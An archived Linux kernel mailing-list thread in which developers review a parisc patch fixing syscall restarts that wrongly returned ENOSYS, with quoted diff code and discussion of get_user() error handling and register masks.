Xref: news.gmane.org gmane.linux.ports.mips.general:51859 gmane.linux.kernel:2112515 gmane.linux.ports.parisc:26249
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/51859>

On 20.12.2015 15:11, Mathieu Desnoyers wrote:
> ----- On Dec 19, 2015, at 5:37 AM, Helge Deller deller@gmx.de wrote:
> 
>> Hi Mathieu,
>>
>> On 18.12.2015 21:42, Helge Deller wrote:
>>> On 18.12.2015 20:58, Mathieu Desnoyers wrote:
>>>>>>> When testing liburcu on a 3.18 Linux kernel, 2-core MIPS (cpu model :
>>>>>>> Ingenic JZRISC V4.15  FPU V0.0), we notice that a blocked sys_futex
>>>>>>> FUTEX_WAIT returns -1, errno=ENOSYS when interrupted by a SA_RESTART
>>>>>>> signal handler. This spurious ENOSYS behavior causes hangs in liburcu
>>>>>>> 0.9.x. Running a MIPS 3.18 kernel under a QEMU emulator exhibits the
>>>>>>> same behavior. This might affect earlier kernels.
>>>>>>>
>>>>>>> This issue appears to be fixed in 3.18.y stable kernels and 3.19, but
>>>>>>> nevertheless, we should try to handle this kernel bug more gracefully
>>>>>>> than a user-space hang due to unexpected spurious ENOSYS return value.
>>>>>>
>>>>>> It's actually fixed in 3.19, but not in 3.18.y stable kernels. The
>>>>>> Linux kernel upstream fix commit is:
>>>>>> e967ef02 "MIPS: Fix restart of indirect syscalls"
>>
>>>> Looks like parisc has an issue very similar to the one that
>>>> has been fixed on MIPS by e967ef02 "MIPS: Fix restart of indirect syscalls".
>>
>> Yes, parisc is affected the same way.
>> I've posted a patch to the parisc mailing list which fixes this issue for
>> parisc and which I plan to push into stable kernels:
>> http://thread.gmane.org/gmane.linux.ports.parisc/26243
>>
>> Regarding your patch for liburcu:
>>
>>>>>>> Therefore, fallback on the "async-safe" version of compat_futex in those
>>>>>>> situations where FUTEX_WAIT returns ENOSYS. This async-safe fallback has
>>>>>>> the nice property of being OK to use concurrently with other FUTEX_WAKE
>>>>>>> and FUTEX_WAIT futex() calls, because it's simply a busy-wait scheme.
>>
>> I've tested your patch. It does not produce any regressions on parisc, but I
>> can't
>> say for sure if it really works. ENOSYS is returned randomly, so maybe I didn't
>> faced a situation where your patch actually was used.
> 
> If you ran make check and make regtest, and nothing
> fails/hangs, you should be OK.

Yes, I did run both.

> liburcu runs very heavy
> stress-tests which makes it likely to hit race conditions
> repeatedly.

Helge




From - Thu Nov 08 21:38:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix syscall restarts
Date: Sun, 20 Dec 2015 16:49:37 +0100
Lines: 162
Approved: news@gmane.org
Message-ID: <5676CE11.9020808@gmx.de>
References: <20151218233034.GA24910@p100.box>
 <1947554021.268870.1450619952347.JavaMail.zimbra@efficios.com>
 <1102516129.268911.1450620565285.JavaMail.zimbra@efficios.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450626603 23048 80.91.229.3 (20 Dec 2015 15:50:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Dec 2015 15:50:03 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 20 16:49:51 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aAgF3-0005ve-2M
	for glpp-linux-parisc@plane.gmane.org; Sun, 20 Dec 2015 16:49:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751854AbbLTPts (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Dec 2015 10:49:48 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:57302 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751545AbbLTPts (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Dec 2015 10:49:48 -0500
Original-Received: from [192.168.20.60] ([92.203.49.69]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0LoEwL-1ahpGP2B21-00gHFj; Sun, 20 Dec 2015 16:49:40
 +0100
X-Enigmail-Draft-Status: N1110
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <1102516129.268911.1450620565285.JavaMail.zimbra@efficios.com>
X-Provags-ID: V03:K0:+6KlPGyFUEM09+wH3hsNYHcxbu9FDI8LR6SrdE9peQSOdS3ykE6
 fApyOEJSxF0HCs54TTpMKyX/C9/CW499RTuKI8iQobxHPPOizs3d/LUMPjv1TD6aNiLrF9+
 CpeQZpSwm41DWUg3dSZ+OLW8iwUcJFt/9N1KttFVyp1drUcxUZZYKebYcafwT90nOBicawh
 jjwAy752YsrJrC9A0vTdg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:cp1WrJU0iu8=:qmxyaGtj/uT63JKl2kwUOO
 sAgS1oxGF96XdWomjdwPNeRzi/IlNlGAvRNekWMOAxChGqS2n2IoNnpZ7ysK/2g8RCHHABTxh
 UgbnG3feBScQiYipPvHo+tM9MVaam9GMYjgoy0RqI08F1qaHpYH9BiVwF+Yu0SRbqV9GSHDK9
 uUreVuTulQHdrCcyu9hJD97ZV3TpDb6i32ds1JuEYRESPJGte/+qZlkrXsQeS4cFpVQkhrulh
 1rc+qXzxnMI+i1f08bFPLQHL1RN9qhwD+tHjpeJKlr4eufPWkqd6IjSw6ZG6paX0NaKu5fM0S
 wqvPmFRWfNWdyNrdr9Dgx4aDvsBfCzd6kHydSe1ClIjJXCTaA2iBEHPLAsJvZGkDKtzozEIoq
 KoRYpL9kU6XdUDTgvEqPEDtPOpxm0Uvt765GmwkMQbkt9DKVpARKJ/U/tmD53VtYeJGBuoipx
 SbOBTyRImrzh/cCFq1RYIVpQQ+CUl+hXJJegFrcSYhr6ii4yrp/agckhlIcHPY3gcOotEtoD8
 ZvSlna6m7FLpxHGbya35y2Wx3o1o4bif0/w4uuJeZVItlAT+9aRySvywI8Y7Cs8dULqPKmTKE
 IjiSufvVWgIMu7QebFzUxgcAs/vn9sMlDkoU0OwEfn/R6QLWgWZj7KA5j7dQ6pdQToSMrQi4C
 SiLTk9T5QvZexM57w/TBmdNNMGG4hM6jqMaaVcZnJFXJiyKqfGPzEDQalbrSm3yRQKyEOMHSS
 aV7xa1y8kmFlrZIm5WJdimtqQwgep3fmzZM++iBBczFqRwUQsyZwaK3CJ9KUmF0gVQOJ8k/w 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26250
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26250>

On 20.12.2015 15:09, Mathieu Desnoyers wrote:
> ----- On Dec 20, 2015, at 8:59 AM, Mathieu Desnoyers mathieu.desnoyers@efficios.com wrote:
> 
>> ----- On Dec 18, 2015, at 6:30 PM, Helge Deller deller@gmx.de wrote:
>>
>>> On parisc syscalls which are interrupted by signals sometimes fail to restart
>>> and instead return -ENOSYS which then in the worst case lead to userspace
>>> crashes.
>>> A similiar problem existed on MIPS and was fixed by commit e967ef02
>>> ("MIPS: Fix restart of indirect syscalls").
>>>
>>> On parisc the current syscall restart code assumes hat the syscall number is
>>> always loaded in the delay branch of the ble instruction as defined in the
>>> unistd.h header file and as such never restored %r20 before returning to
>>> userspace:
>>> 	ble 0x100(%sr2, %r0)
>>> 	ldi #syscall_nr, %r20
>>>
>>> This assumption is at least not true for code which uses the syscall() glibc
>>> function, which instead uses this syntax:
>>> 	ble 0x100(%sr2, %r0)
>>> 	copy regX, %r20
>>> where regX depend on how the compiler optimizes the code and register usage.
>>>
>>> This patch fixes this problem by adding code to analyze how the syscall number
>>> is loaded in the delay branch and - if needed - copy the syscall number to regX
>>> prior returning to userspace for the syscall restart.
>>>
>>> Signed-off-by: Helge Deller <deller@gmx.de>
>>> Cc: stable@vger.kernel.org
>>> Cc: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
>>>
>>> diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
>>> index dc1ea79..b0414ad 100644
>>> --- a/arch/parisc/kernel/signal.c
>>> +++ b/arch/parisc/kernel/signal.c
>>> @@ -435,6 +435,48 @@ handle_signal(struct ksignal *ksig, struct pt_regs *regs,
>>> int in_syscall)
>>> 		regs->gr[28]);
>>> }
>>>
>>> +/*
>>> + * Check the delay branch in userspace how the syscall number gets loaded into
>>> + * %r20 and adjust as needed.
>>
>> I'm pretty sure "Check the delay branch in userspace how the syscall..."
>> is not an English construct. ;-) Suggested rewording:
>>
>> "Check how the syscall number gets loaded into %r20 within
>> the delay branch in userspace and adjust as needed."

Thanks!
I'll change that.


>>> + */
>>> +
>>> +static void check_syscallno_in_delay_branch(struct pt_regs *regs)
>>> +{
>>> +	unsigned int opcode, source_reg;
>>
>> Why "unsigned int" above rather than u32 ? Since we're using
>> opcode as target variable for a get_user, it would be clearer
>> if the type of the __user * match the type of the target kernel
>> variable. (understood that those happen to have the same bitness
>> and type size on all Linux architectures, but it would be clearer
>> nevertheless).

Yes, seems OK.
I'll change that.

>>> +	u32 __user *uaddr;
>>> +
>>> +	/* Usually we don't have to restore %r20 (the system call number)
>>> +	 * because it gets loaded in the delay slot of the branch external
>>> +	 * instruction via the ldi instruction.
>>> +	 * In some cases a register-to-register copy instruction might have
>>> +	 * been used instead, in which case we need to copy the syscall
>>> +	 * number into the source register before returning to userspace.
>>> +	 */
>>> +
>>> +	/* A syscall is just a branch, so all
>>> +	 * we have to do is fiddle the return pointer.
>>> +	 */
>>> +	regs->gr[31] -= 8; /* delayed branching */
>>> +
>>> +	/* Get assembler opcode of code in delay branch */
>>> +	uaddr = (unsigned int *) (regs->gr[31] + 1);
>>> +	get_user(opcode, uaddr);
>>
>> get_user() can fail due to EFAULT. This error should be
>> handled here, otherwise this could lead to the following
>> code using an uninitialized opcode variable, which could
>> indirectly leak a few bits of kernel stack information
>> to userspace (security concern). One attack vector I have
>> in mind for this is ptrace(), which might be able to tweak
>> those register values.

Yes, generally get_user() can fail.
But this would be rather strange in that case, because
the syscall was started by userspace from this address.
So, without the code at that address in userspace, we would
never have reached this get_user().

And, there is no leak (of kernel stack) either. All this
function does is to move the content of userspace register X
to userspace register Y. There is no kernel info involved.    

>>> +
>>> +	/* Check if delay branch uses "ldi int,%r20" */
>>> +	if ((opcode & 0xffff0000) == 0x34140000)
>>> +		return;	/* everything ok, just return */
>>> +
>>> +	/* Check if delay branch uses "copy %rX,%r20" */
>>> +	if ((opcode & 0xff00ffff) == 0x08000254) {
>>> +		source_reg = (opcode >> 16) & 31;
>>
>> Can you explain the reasoning behind the & 31 mask ?
>> I'm no parisc expert, but this seems rather odd.
>> Do you really mean "% 31" which translates to "& 5" ?
>> It would make more sense since there are 32 "gr"
>> registers. With & 31, a carefully crafted opcode
>> could overflow the gr[32] array, and cause a kernel
>> overflow allowing to overwrite kernel memory
>> (security issue).
> 
> Hrm, I got my masks temporarily mixed up (early morning
> here). This is why I always use constructs such as:
> 
> #define GR_REGS_BITS  5
> #define NR_GR_REGS    (1U << GR_REGS_BITS)
> #define GR_REGS_MASK  (NR_GR_REGS - 1)
> 
> and then
> 
> v & GR_REGS_MASK;
> 
> Which makes everything super-obvious. The & 31 mask
> seems therefore technically correct.

Good. I was struggling with your comments as well :-)


> The paragraph below still holds though:
> 
>>
>> If it's the case, then it would also be good to
>> check that the register selector within the opcode
>> is not larger than 31 (e.g. applying to fr or sr
>> register), rather than applying the modulo and
>> assuming it's a gr and corrupt userspace state.

I'll check that.

Thanks!

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix syscall restarts
Date: Sun, 20 Dec 2015 08:50:02 -0800
Lines: 141
Approved: news@gmane.org
Message-ID: <1450630202.2256.5.camel@HansenPartnership.com>
References: <20151218233034.GA24910@p100.box>
	 <1947554021.268870.1450619952347.JavaMail.zimbra@efficios.com>
	 <1102516129.268911.1450620565285.JavaMail.zimbra@efficios.com>
	 <5676CE11.9020808@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450630217 15745 80.91.229.3 (20 Dec 2015 16:50:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Dec 2015 16:50:17 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>,
	Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 20 17:50:08 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aAhBP-0001PB-4I
	for glpp-linux-parisc@plane.gmane.org; Sun, 20 Dec 2015 17:50:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753219AbbLTQuG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Dec 2015 11:50:06 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:49476 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752551AbbLTQuF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Dec 2015 11:50:05 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id E51368EE2C4;
	Sun, 20 Dec 2015 08:50:04 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=20151216; t=1450630204;
	bh=zB3pJxbxOCOPmJMCB+sY7yt4MkjVaId3L0V2m419e/Q=;
	h=Subject:From:To:Cc:Date:In-Reply-To:References:From;
	b=e/MdU4TmKlIC6oUHgvfp+0plqBEMXWB+7LyDmDuVevA6WyfDhNrhWFvlROJWVGezQ
	 Lrz7cWbH6hwIzw38pCljhlzX5gPPvgVBlXLQyfIscmiRVyQQ/SNByV7BHcoxdvv0PO
	 lv/oyrGZQNm5ku9FPrL5J3FYKwIlwK3rKE/Lcb7I=
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id zmGW505_EHeA; Sun, 20 Dec 2015 08:50:04 -0800 (PST)
Original-Received: from [153.66.254.194] (unknown [184.11.141.41])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id ECEA58EE0A4;
	Sun, 20 Dec 2015 08:50:03 -0800 (PST)
In-Reply-To: <5676CE11.9020808@gmx.de>
X-Mailer: Evolution 3.16.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26251
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26251>

On Sun, 2015-12-20 at 16:49 +0100, Helge Deller wrote:
> On 20.12.2015 15:09, Mathieu Desnoyers wrote:
> > ----- On Dec 20, 2015, at 8:59 AM, Mathieu Desnoyers 
> > mathieu.desnoyers@efficios.com wrote:
> > 
> > > ----- On Dec 18, 2015, at 6:30 PM, Helge Deller deller@gmx.de wro
> > > te:
> > > 
> > > > On parisc syscalls which are interrupted by signals sometimes
> > > > fail to restart
> > > > and instead return -ENOSYS which then in the worst case lead to
> > > > userspace
> > > > crashes.
> > > > A similiar problem existed on MIPS and was fixed by commit
> > > > e967ef02
> > > > ("MIPS: Fix restart of indirect syscalls").
> > > > 
> > > > On parisc the current syscall restart code assumes hat the
> > > > syscall number is
> > > > always loaded in the delay branch of the ble instruction as
> > > > defined in the
> > > > unistd.h header file and as such never restored %r20 before
> > > > returning to
> > > > userspace:
> > > > 	ble 0x100(%sr2, %r0)
> > > > 	ldi #syscall_nr, %r20
> > > > 
> > > > This assumption is at least not true for code which uses the
> > > > syscall() glibc
> > > > function, which instead uses this syntax:
> > > > 	ble 0x100(%sr2, %r0)
> > > > 	copy regX, %r20
> > > > where regX depend on how the compiler optimizes the code and
> > > > register usage.
> > > > 
> > > > This patch fixes this problem by adding code to analyze how the
> > > > syscall number
> > > > is loaded in the delay branch and - if needed - copy the
> > > > syscall number to regX
> > > > prior returning to userspace for the syscall restart.
> > > > 
> > > > Signed-off-by: Helge Deller <deller@gmx.de>
> > > > Cc: stable@vger.kernel.org
> > > > Cc: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
> > > > 
> > > > diff --git a/arch/parisc/kernel/signal.c
> > > > b/arch/parisc/kernel/signal.c
> > > > index dc1ea79..b0414ad 100644
> > > > --- a/arch/parisc/kernel/signal.c
> > > > +++ b/arch/parisc/kernel/signal.c
> > > > @@ -435,6 +435,48 @@ handle_signal(struct ksignal *ksig, struct
> > > > pt_regs *regs,
> > > > int in_syscall)
> > > > 		regs->gr[28]);
> > > > }
> > > > 
> > > > +/*
> > > > + * Check the delay branch in userspace how the syscall number
> > > > gets loaded into
> > > > + * %r20 and adjust as needed.
> > > 
> > > I'm pretty sure "Check the delay branch in userspace how the
> > > syscall..."
> > > is not an English construct. ;-) Suggested rewording:
> > > 
> > > "Check how the syscall number gets loaded into %r20 within
> > > the delay branch in userspace and adjust as needed."
> 
> Thanks!
> I'll change that.
> 
> 
> > > > + */
> > > > +
> > > > +static void check_syscallno_in_delay_branch(struct pt_regs
> > > > *regs)
> > > > +{
> > > > +	unsigned int opcode, source_reg;
> > > 
> > > Why "unsigned int" above rather than u32 ? Since we're using
> > > opcode as target variable for a get_user, it would be clearer
> > > if the type of the __user * match the type of the target kernel
> > > variable. (understood that those happen to have the same bitness
> > > and type size on all Linux architectures, but it would be clearer
> > > nevertheless).
> 
> Yes, seems OK.
> I'll change that.
> 
> > > > +	u32 __user *uaddr;
> > > > +
> > > > +	/* Usually we don't have to restore %r20 (the system
> > > > call number)
> > > > +	 * because it gets loaded in the delay slot of the
> > > > branch external
> > > > +	 * instruction via the ldi instruction.
> > > > +	 * In some cases a register-to-register copy
> > > > instruction might have
> > > > +	 * been used instead, in which case we need to copy
> > > > the syscall
> > > > +	 * number into the source register before returning to
> > > > userspace.
> > > > +	 */
> > > > +
> > > > +	/* A syscall is just a branch, so all
> > > > +	 * we have to do is fiddle the return pointer.
> > > > +	 */
> > > > +	regs->gr[31] -= 8; /* delayed branching */
> > > > +
> > > > +	/* Get assembler opcode of code in delay branch */
> > > > +	uaddr = (unsigned int *) (regs->gr[31] + 1);
> > > > +	get_user(opcode, uaddr);
> > > 
> > > get_user() can fail due to EFAULT. This error should be
> > > handled here, otherwise this could lead to the following
> > > code using an uninitialized opcode variable, which could
> > > indirectly leak a few bits of kernel stack information
> > > to userspace (security concern). One attack vector I have
> > > in mind for this is ptrace(), which might be able to tweak
> > > those register values.
> 
> Yes, generally get_user() can fail.
> But this would be rather strange in that case, because
> the syscall was started by userspace from this address.
> So, without the code at that address in userspace, we would
> never have reached this get_user().

Actually, that's not necessarily a safe assumption.  Any memory
allocation in a syscall path (except GFP_ATOMIC) can trigger reclaim
and since this is a signal restart path, that's entirely possible. 
 Reclaim could pull the backing page out from under the syscall, so in
a low memory situation it is possible get_user() could fail with EFAULT
unless get_user_page() has been called somewhere to pin the page.

James

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix syscall restarts
Date: Sun, 20 Dec 2015 13:31:20 -0500
Lines: 57
Approved: news@gmane.org
Message-ID: <485EBA8B-C9F3-4A5C-9962-ADD70134B52C@bell.net>
References: <20151218233034.GA24910@p100.box> <1947554021.268870.1450619952347.JavaMail.zimbra@efficios.com> <1102516129.268911.1450620565285.JavaMail.zimbra@efficios.com> <5676CE11.9020808@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450636303 7988 80.91.229.3 (20 Dec 2015 18:31:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Dec 2015 18:31:43 +0000 (UTC)
Cc: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 20 19:31:33 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aAilU-0003E2-S2
	for glpp-linux-parisc@plane.gmane.org; Sun, 20 Dec 2015 19:31:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750722AbbLTSbX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Dec 2015 13:31:23 -0500
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:56269 "EHLO
	mtlfep01.bell.net" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org
	with ESMTP id S1750714AbbLTSbW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Dec 2015 13:31:22 -0500
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20151220183121.VCIZ19075.mtlfep01.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 20 Dec 2015 13:31:21 -0500
Original-Received: from [192.168.2.10] (really [70.53.62.134]) by mtlspm02.bell.net
          with ESMTP
          id <20151220183121.PQWY21879.mtlspm02.bell.net@[192.168.2.10]>;
          Sun, 20 Dec 2015 13:31:21 -0500
In-Reply-To: <5676CE11.9020808@gmx.de>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020206.5676F3F9.0047,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26252
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26252>

On 2015-12-20, at 10:49 AM, Helge Deller wrote:

>>>> /* Check if delay branch uses "copy %rX,%r20" */
>>>> +	if ((opcode & 0xff00ffff) == 0x08000254) {
>>>> +		source_reg = (opcode >> 16) & 31;
>>> 
>>> Can you explain the reasoning behind the & 31 mask ?
>>> I'm no parisc expert, but this seems rather odd.
>>> Do you really mean "% 31" which translates to "& 5" ?
>>> It would make more sense since there are 32 "gr"
>>> registers. With & 31, a carefully crafted opcode
>>> could overflow the gr[32] array, and cause a kernel
>>> overflow allowing to overwrite kernel memory
>>> (security issue).
>> 
>> Hrm, I got my masks temporarily mixed up (early morning
>> here). This is why I always use constructs such as:
>> 
>> #define GR_REGS_BITS  5
>> #define NR_GR_REGS    (1U << GR_REGS_BITS)
>> #define GR_REGS_MASK  (NR_GR_REGS - 1)
>> 
>> and then
>> 
>> v & GR_REGS_MASK;
>> 
>> Which makes everything super-obvious. The & 31 mask
>> seems therefore technically correct.
> 
> Good. I was struggling with your comments as well :-)
> 
> 
>> The paragraph below still holds though:
>> 
>>> 
>>> If it's the case, then it would also be good to
>>> check that the register selector within the opcode
>>> is not larger than 31 (e.g. applying to fr or sr
>>> register), rather than applying the modulo and
>>> assuming it's a gr and corrupt userspace state.
> 
> I'll check that.

The register field cannot be larger than 31.  A fr or sr
regster can't be used in a LDO "copy" instruction.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix syscall restarts
Date: Sun, 20 Dec 2015 20:32:52 +0100
Lines: 66
Approved: news@gmane.org
Message-ID: <56770264.90706@gmx.de>
References: <20151218233034.GA24910@p100.box>
 <1947554021.268870.1450619952347.JavaMail.zimbra@efficios.com>
 <1102516129.268911.1450620565285.JavaMail.zimbra@efficios.com>
 <5676CE11.9020808@gmx.de> <485EBA8B-C9F3-4A5C-9962-ADD70134B52C@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450640003 30404 80.91.229.3 (20 Dec 2015 19:33:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Dec 2015 19:33:23 +0000 (UTC)
Cc: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 20 20:33:13 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aAjjF-0001N8-0O
	for glpp-linux-parisc@plane.gmane.org; Sun, 20 Dec 2015 20:33:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750756AbbLTTdH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Dec 2015 14:33:07 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:56452 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750714AbbLTTdG (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Dec 2015 14:33:06 -0500
Original-Received: from [192.168.20.60] ([92.203.49.69]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0Lbdl5-1acgoO41W7-00lAsg; Sun, 20 Dec 2015 20:32:56
 +0100
X-Enigmail-Draft-Status: N1110
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <485EBA8B-C9F3-4A5C-9962-ADD70134B52C@bell.net>
X-Provags-ID: V03:K0:YUIUM0ZvdC3cuM6m1YUYt2UZb/gNIK7hYOxZXxsdLnXCDsP84Kh
 lfKP2qyBohChvUIOZULhyp/asajTRxnEIHtGkkf0O7uzto1Y28MtTMtMbW2E2fQckDuQTfJ
 ELtRWflsSZ/w3wM5LlOv2K9IA/9oUc4+/YQSo3di2xd3fARP9MGDcrpMLFRSWSAL13uOuQ4
 1f/WQnDNHWgq0aLPTwVXg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:bxBv7G02gKc=:TAHSVSO2cSlh6z9cfFYRRj
 zo1c+uHm60tV5m8LoDZXj3jwupZW5jxGTTaEovBr9At4Tf7nHNQWFC4QdlAfo21BuUClMDuCL
 012R0ENmsQpo7sF7iqIbuMYrWhKqqpmfv5NStL8ZPy6lIM2UWB6M6bxnetaLebRQUWT1RFOBV
 yQkDnwYU17/aVEHxQIryKZa+tKxn7ItgEg3NZRYH46bSo+iTU7wCaaIPQdJJKujmf4q8f2iML
 o4sWjnP6BN5dQUOGKHphLQmSIpMFIrdCVQpJB8quuEzN2R3L3Gin0alrWzVZQoJDv/wpxttAT
